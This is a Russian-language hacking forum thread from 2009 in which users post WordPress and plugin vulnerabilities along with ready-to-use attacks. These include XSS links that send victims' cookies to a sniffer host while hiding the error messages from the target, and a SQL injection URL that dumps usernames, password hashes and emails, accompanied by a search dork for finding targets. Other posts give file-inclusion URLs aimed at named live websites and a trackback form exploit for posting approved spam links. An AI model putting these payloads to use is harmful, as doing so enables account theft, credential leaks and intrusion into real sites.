ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #101  
Старый 05.03.2009, 21:14
Аватар для Kraneg
Kraneg
Участник форума
Регистрация: 30.08.2008
Сообщений: 132
Провел на форуме:
1351948

Репутация: 325
По умолчанию

Модуль на WordPress - Appstore Charts
Version v. 1.2

Уязвимость как всегда из за невнимательности разработчиков... Как и в прошлом модуле используются сторонние разработки, в данном случае Magpie RSS - PHP RSS Parser(подробнее можно узнать тут: http://magpierss.sourceforge.net/)
Папка Magpie RSS полностью содержится в составе модуля, а вместе с ним и пробные срипты =) Вобщем уязвимость в следующих местах:
1. Уязвимоcть в файле itunes-appstore-charts/magpierss/scripts/magpie_slashbox.php
Уязвимый код:
PHP код:
$url $_GET['rss_url'];
[...]
if ( 
$url ) {
    echo 
"displaying: $url<p>";
    
$rss fetch_rss$url );
    echo 
slashbox ($rss);
}

echo 
"<pre>";
print_r($rss);
echo 
"</pre>"
Для проверки можно обратиться:
Код:
http://localhost/wp/wp-content/plugins/itunes-appstore-charts/magpierss/scripts/magpie_slashbox.php?rss_url=<script>alert()</script>
Но можно увидеть что на странице появились ошибки(в частности раскрытие путей) и цель может испугаться или догадаться, и сменить пароль я лично вижу такой выход из ситации =) просто не дать ему увидеть:
Код:
http://localhost/wp/wp-content/plugins/itunes-appstore-charts/magpierss/scripts/magpie_slashbox.php?rss_url=<script>document.location.href="http://addres-snifera.ru/s.gif?"%2Bdocument.cookie</script>
+ на %2B обязательно иначе не пройдет...
2. Уязвимоcть в файле itunes-appstore-charts/magpierss/scripts/magpie_debug.php
Уязвимый код:
PHP код:
if ( isset($_GET['url']) ) {
    
$url $_GET['url'];
}
else {
    
$url 'http://magpierss.sf.net/test.rss';
}

[...]

$rss fetch_rss$url );
    
if (
$rss) {
    echo 
"<h3>Example Output</h3>";
    echo 
"Channel: " $rss->channel['title'] . "<p>";
    echo 
"<ul>";
    foreach (
$rss->items as $item) {
        
$href $item['link'];
        
$title $item['title'];    
        echo 
"<li><a href=$href>$title</a></li>";
    }
    echo 
"</ul>";
}
else {
    echo 
"Error: " magpie_error();
}
?> 
Использование аналогично номеру 1 =) только rss_url на url меняется...
 
Ответить с цитированием

  #102  
Старый 07.03.2009, 14:02
Аватар для Kraneg
Kraneg
Участник форума
Регистрация: 30.08.2008
Сообщений: 132
Провел на форуме:
1351948

Репутация: 325
По умолчанию

Уязвимости в модуле WP Wall
Version: 1.4.2(возможно и ниже)

1.Пассивная XSS
Условия: register_globals = On
Уязвимость в файле wp-wall\wp-wall-widget-control.php
Уязвимый код:
Код HTML:
<p>Visit <a href="options-general.php?page=wp-wall.php">WP Wall options</a> page for more options.</p>
<p><label for="wall_title">Title: <input  name="wall_title" type="text" value="<?php echo $title; ?>" /></label></p>	
<input type="hidden" id="wall_submit" name="wall_submit" value="1" />
Пример использования:
Код:
http://localhost/wp/wp-content/plugins/wp-wall/wp-wall-widget-control.php?title="><script>alert()</script>
2. Еще одна пасивная XSS:
Условия: register_globals = On
Уязвимость в файле wp-wall\wp-wall-widget.php
Уязвимый код:
PHP код:
<?php     
    
echo $before_widget
    echo 
$before_title $wall_title$after_title;
?>
Пример использования:
Код:
http://localhost/wp/wp-content/plugins/wp-wall/wp-wall-widget.php?before_widget=<script>alert()</script>
Код:
http://localhost/wp/wp-content/plugins/wp-wall/wp-wall-widget.php?before_title=<script>alert()</script>
Код:
http://localhost/wp/wp-content/plugins/wp-wall/wp-wall-widget.php?wall_title=<script>alert()</script>
Код:
http://localhost/wp/wp-content/plugins/wp-wall/wp-wall-widget.php?after_title=<script>alert()</script>
Но как и вслучае с модулем Appstore Charts чуть ниже выскакивает ошибка, для того чтобы никого не смущать можно сделать то же самое что и там, к примеру:
Код:
<script>document.location.href="http://addres-snifera.ru/s.gif?"+document.cookie</script>
3.Раскрытие путей и не только(для всех модулей):
Америку не открою наверное, но расскажу свои мысли по поводу плагинов WP... Вобщем никто практически не закрывает для взора папку /wp-content/plugins/ как по мне так это серьезный недочет! Ну скажем когда мы можем ее просматривать, уже видно названия всех плагинов, а это в свою очередь упрощает взлом сайта с установленным WP. Скажем раскрытие путей есть в каждом плагине! Достаточно обратится к любому файлу где есть add_action Пример:
PHP код:
add_action("widgets_init", array('itunescharts_widget''register')); 
И уже видим раскрытие путей! К примеру:
Обратившись:
Код:
http://ubuntu-tutorials.com/wp-content/plugins/WPRP/wp_related_posts.php
видим:
Код:
Fatal error: Call to undefined function add_action() in /var/www/virtual/ubuntu-tutorials.com/html/wp-content/plugins/WPRP/wp_related_posts.php on line 33
, этим страдают поголовно все модули которые я видел... А имея список плагинов мы можем уже подобрать возможные пути взлома, используя уязвимости для плагинов, если таковые имеются!
Теперь о раскрытии путей, иногда может потребоваться, но как я выше написал, в WP насчет этого можно не беспокоится... =) Я не пишу о раскрытии в модулях WP только потому что оно практически везде, покажу на примере WP Wall:
Раскрытие есть в 3 файлах из 4:
1. В файле wp-wall\wp-wall.php есть проверка на версию, если обойти проверку просто обратившись:
http://localhost/wp/wp-content/plugins/wp-wall/wp-wall.php?wp_version=2.7
видим раскрытие...
2. В файле wp-wall\wp-wall-widget.php просто обратившись к нему уже лицезреем раскрытие...
3. В файле wp-wall\wp-wall-ajax.php обратившись к нему
http://localhost/wp/wp-content/plugins/wp-wall/wp-wall-ajax.php?refresh=1
видим раскрытие...
Вобщем расклад не очень, но само раскрытие без уязвимостей в модулях безобидно =)
 
Ответить с цитированием

  #103  
Старый 07.03.2009, 15:29
Аватар для Kraneg
Kraneg
Участник форума
Регистрация: 30.08.2008
Сообщений: 132
Провел на форуме:
1351948

Репутация: 325
По умолчанию

Вообще хотелось бы разобраться в сложившейся ситуации... Совсем запутался... Вобщем я заметил что при xss в модулях WP в куках пароль не выводится, и получется что они бессмысленны? Объясните кто нить это, и что вообще делать дальше? Забить на xss в модулях?
 
Ответить с цитированием

  #104  
Старый 07.03.2009, 18:45
Аватар для [Raz0r]
[Raz0r]
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме:
3244717

Репутация: 1980
Отправить сообщение для [Raz0r] с помощью ICQ
По умолчанию

Цитата:
Вообще хотелось бы разобраться в сложившейся ситуации... Совсем запутался... Вобщем я заметил что при xss в модулях WP в куках пароль не выводится, и получется что они бессмысленны? Объясните кто нить это, и что вообще делать дальше? Забить на xss в модулях?
На авторизационные куки ставится флаг httpOnly, если не ошибаюсь начиная с версии 2.7, поэтому XSS действительно может быть мало чем полезен. Ищи выполнение кода
 
Ответить с цитированием

  #105  
Старый 07.03.2009, 19:24
Аватар для M4g
M4g
Участник форума
Регистрация: 08.05.2007
Сообщений: 164
Провел на форуме:
466673

Репутация: 784
Отправить сообщение для M4g с помощью ICQ
По умолчанию

Даже скуль-инъекция может быть в >=2.5 полезна, если в конфиге секретный ключ оставлен дефолтный, просто тащим secret_key из базы и генерим на основе его куки.
Так что, +500 к словам Разора, прекращай страдать ерундой с XSS в плагинах)
SQL inj && Code exec && LFI && RFI = is_our_way
 
Ответить с цитированием

WordPress MU < 2.7 'Host' HTTP Header Cross Site Scripting (XSS) Vulnerability
  #106  
Старый 12.03.2009, 23:33
Аватар для M4g
M4g
Участник форума
Регистрация: 08.05.2007
Сообщений: 164
Провел на форуме:
466673

Репутация: 784
Отправить сообщение для M4g с помощью ICQ
По умолчанию WordPress MU < 2.7 'Host' HTTP Header Cross Site Scripting (XSS) Vulnerability

I. VULNERABILITY
-------------------------
WordPress MU < 2.7 'Host' HTTP Header Cross Site Scripting (XSS)
Vulnerability

II. BACKGROUND
-------------------------
WordPress MU, or multi-user, allows to run unlimited blogs with a
single install of wordpress. It is most famously used for
WordPress.com where it serves tens of millions of hits on hundreds of
thousands of blogs each day. Also is used in many other sites like
Harvard University and Le Monde.

III. DESCRIPTION
-------------------------
WordPress MU prior to version 2.7 fails to sanitize the Host header
correctly in choose_primary_blog function and is therefore prune to
XSS attacks.
Web Sites running in a name based virtual hosting setup are not
affected while they are not the default virtual host.

IV. PROOF OF CONCEPT
-------------------------
The snippet of vulnerable code:

In wp-includes/wpmu-functions.php, concretly in the function
choose_primary_blog:

1830 function choose_primary_blog() {
1831 global $current_user;
1832 ?>
1833 <table class="form-table">
1834 <tr>
1835 <th scope="row"><?php _e('Primary Blog'); ?></th>
1836 <td>
1837 <?php
1838 $all_blogs = get_blogs_of_user( $current_user->ID );
1839 if( count( $all_blogs ) > 1 ) {
1840 $primary_blog = get_usermeta($current_user->ID,
'primary_blog');
1841 ?>
1842 <select name="primary_blog">
1843 <?php foreach( (array) $all_blogs as $blog ) { ?>
1844 <option value='<?php echo $blog->userblog_id
?>'<?php if( $primary_blog == $blog->userblog_id ) echo '
selected="selected"' ?>>http://<?php echo $blog->domain.$blog->path
?></option>
1845 <?php } ?>
1846 </select>
1847 <?php
1848 } else {
1849 echo $_SERVER['HTTP_HOST']; <- HERE
1850 }
1851 ?>
1852 </td>
1853 </tr>
1854 </table>
1855 <?php
1856 }

The line 1849 contains the affected code "echo $_SERVER['HTTP_HOST'];"
and is possible to inject HTML and script code crafting HTTP Host header:

PoC:
$ curl -H "Cookie: my cookies here" -H "Host: <body
onload=alert(String.fromCharCode(88,83,83))>"
http://www.example.com/wp-admin/profile.php> tmp.html
$ firefox tmp.html

The javascript code will be executed in the context of the victim
browser, this can be exploited to steal cookies and escalate
privileges to administrator.

Tested with Wordpress MU 2.6.5, Apache 2.2 and Mozilla Firefox 3.0.6

V. BUSINESS IMPACT
-------------------------
The impact is the attacker can gain administrator privileges on the
application.

VI. SYSTEMS AFFECTED
-------------------------
Versions prior to 2.7 are affected

VII. SOLUTION
-------------------------
Upgrade to version 2.7 of wordpress multi-user. It can be downloaded
from http://mu.wordpress.org

VIII. REFERENCES
-------------------------
http://mu.wordpress.org

IX. CREDITS
-------------------------
This vulnerability has been discovered
by Juan Galiana Lara (jgaliana (at) isecauditors (dot) com).

X. REVISION HISTORY
-------------------------
December 03, 2008: Initial release
March 02, 2009: More details added

XI. DISCLOSURE TIMELINE
-------------------------
December 03, 2008: Vendor contacted
December 03, 2008: MU trunk code fixed
January 28, 2008: WordPress MU 2.7 released
March 10, 2009: Vulnerability published by
Internet Security Auditors (www.isecauditors.com)

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
Internet Security Auditors accepts no responsibility for any damage
caused by the use or misuse of this information.

#http://milw0rm.com/exploits/8196
 
Ответить с цитированием

  #107  
Старый 21.03.2009, 09:32
Аватар для edichka
edichka
Новичок
Регистрация: 31.01.2009
Сообщений: 22
Провел на форуме:
451572

Репутация: 34
По умолчанию

Wordpress Plugin fMoblog Remote SQL Injection Vulnerability

Код:
Exploit:
http://www.site.com/?page_id=[valid_id]&id=-999+union+all+select+1,2,3,4,group_concat(user_login,0x3a,user_pass,0x3a,user_email),6+from+wp_users--

Dork: inurl:"Gallery powered by fMoblog"

http://www.milw0rm.com/exploits/8229
 
Ответить с цитированием

  #108  
Старый 24.04.2009, 03:48
Аватар для Spyder
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076

Репутация: 4303


По умолчанию

Честно сказать нашёл случайно в нете и оч удивился что нигде не описания
wp-lytebox
http://grupenet.com/2007/08/03/wp-lytebox/
PHP код:
   if(!isset($pg)) {
      include(
"pages/main.txt");
   } elseif(isset(
$pg)) {
      include(
"pages/".$pg.".txt");
   } 
Ну тут конечно надобы написатт что требуется magic_quotes_gpc=off, но я всё таки нашёл сайтег где можно обойти
http://seimweddings.com/photography/wp-content/plugins/wp-lytebox/main.php?pg=../../../../../../../../../../../../etc/hosts%00
http://kateherrick.com/wp-content/plugins/wp-lytebox/main.php?pg=../../../../../../../../../../../../../../../../etc/hosts {тут 5000 слешей}


Кстати /etc/passwd не инклудится вообще)
 
Ответить с цитированием

Для коллекции..
  #109  
Старый 25.05.2009, 00:05
Аватар для ta-kyn
ta-kyn
Новичок
Регистрация: 07.05.2009
Сообщений: 20
Провел на форуме:
86381

Репутация: 16
По умолчанию Для коллекции..

Target: Simple:Press Forum v3.1.3 [WP: v2.04 and above]
Off.page: www.stuff.yellowswordfish.com/simplepress-forum}

Xss: site.xxx/forum/?forum=all&value=<script>alert(document.cookie)</script>%251&search=1
 
Ответить с цитированием

WordPress Comments Html Spam Vulnerability
  #110  
Старый 27.05.2009, 20:03
Аватар для M4g
M4g
Участник форума
Регистрация: 08.05.2007
Сообщений: 164
Провел на форуме:
466673

Репутация: 784
Отправить сообщение для M4g с помощью ICQ
По умолчанию WordPress Comments Html Spam Vulnerability

Итак, начинаю постить найденные мной уязвимости WordPress, опубликованные в Хакере.
----
1. WordPress Comments Html Spam Vulnerability (1.5<=WordPress<=2.7.1)

Итак, перед тобой первая неопубликованная уязвимость, которую я назвал "WordPress Comments Html Spam Vulnerability".
Уязвимость затрагивает все версии движка, начиная от 1.5 и заканчивая последней (на момент написания статьи) 2.7.1.
Давай заглянем в исходники ВордПресса. Открывай файл ./wp-includes/comment.php и находи следующий код:
Код:
function check_comment($author, $email, $url, $comment, $user_ip, $user_agent, $comment_type) {
...
 if ( 'trackback' == $comment_type || 'pingback' == $comment_type ) { // check if domain is in blogroll 
            $uri = parse_url($url); 
            $domain = $uri['host']; 
            $uri = parse_url( get_option('home') ); 
            $home_domain = $uri['host']; 
            if ( $wpdb->get_var($wpdb->prepare("SELECT link_id FROM $wpdb->links WHERE link_url LIKE (%s) LIMIT 1", '%'.$domain.'%')) || $domain == $home_domain ) 
                return true; 
            else 
                return false; 
        } 
...
}
Смысл этого кода состоит в том, что:
1. Блог смотрит на URL трэкбека, парсит его с помощью parse_url (подробно о том, что такое Trackback, ищи в моей прошлогодней статье "Спамом по вебу");
2. Если хост трэкбэка присутствует в блогролле (сборник ссылок на твоем блоге), то функция check_comment() вернет true;
3. Если комментарий успешно проходит через check_comment(), то сразу начинает отображаться под постом, нет - должен пройти премодерацию.
В этом занимательном коде есть один тонкий нюанс: разработчики WordPress просто-напросто не знают, как работает функция parse_url.
Цитата с http://www.php.net/parse_url: "This function is not meant to validate the given URL".
Эти слова подразумевают то, что parse_url() элементарно не проверяет валидность переданного адреса! То есть мы можем передать в нее что-то вроде "http://%/suck_wordpress", в результате чего переменная $uri['host'] станет равной "%".
Далее, как ты уже догадался, наш evil-хост переместится в sql-запрос, который примет следующий вид:
Код:
"SELECT link_id FROM wp_links WHERE link_url LIKE '%%%' LIMIT 1"
Так как этот запрос всегда будет возвращать true, наш спам-комментарий априори будет считаться зааппрувленным
Но и это еще не все!
Для работы с трекбеком используется файл ./wp-trackback.php, в котором наше тело комментария ($excerpt) попадает в такую функцию:
Код:
 function wp_html_excerpt( $str, $count ) { 
    $str = strip_tags( $str ); 
    $str = mb_strcut( $str, 0, $count ); 
    // remove part of an entity at the end 
    $str = preg_replace( '/&[^;\s]{0,6}$/', '', $str ); 
    return $str; 
}
Казалось бы, передать ссылку здесь невозможно. Но нерадивые разработчики снова не учли здесь несколько нюансов:
1. strip_tags() успешно пропускает через себя теги вроде "< br / >" (то есть содержащие в себе пробелы);
2. kses фильтры успешно нормализуют html-теги, содержащие в себе эти самые пробелы.
И вот, исходя из этой информации, можно придумать конечный эксплойт:
Код:
<html>
<form action="http://lamer.com/wp/wp-trackback.php?p=[ID_ПОСТА]" method="post">
Тайтл: <input name="title" value="commenter"/><br/>
URL:<input name="url" value="http://%/la.com"/><br/>
Comment:<input name="excerpt" value=""/><br/>
<input name="blog_name" value="Blog" /><br/>
<input type="submit" value="ok"/>
</form>
</html>
Где в поле "Comment" вставляем:
Код:
< b >< a href="http"//ya.ru">Купить слона< / a >< / b >
В итоге, на нужном блоге мы получим зааппрувленный комментарий с выделенной жирным ссылкой "Купить слона".
Единственное замечание: этот способ в SEO годен только для Yahoo, Яндекса, MSN, так как в коде ссылки добавляется rel="nofollow", благодаря которому всемогущий Гугл не засчитывает ссылку.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обзор уязвимостей CMS [Joomla,Mambo] и их компонентов it's my Сценарии/CMF/СMS 184 15.06.2010 11:10
[ Обзор уязвимостей PHP-Nuke ] [53x]Shadow Сценарии/CMF/СMS 42 07.05.2010 19:07
[ Обзор уязвимостей SLAED CMS ] _kREveDKo_ Сценарии/CMF/СMS 20 01.11.2009 14:28
ОБЗОР УЯЗВИМОСТЕЙ БЕСПЛАТНЫХ ПОЧТОВЫХ СЕРВИСОВ nike57 E-Mail 4 05.05.2006 22:03
Статья обзор уязвимостей бесплатных почтовых сервисов markel E-Mail 3 12.09.2005 10:07



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ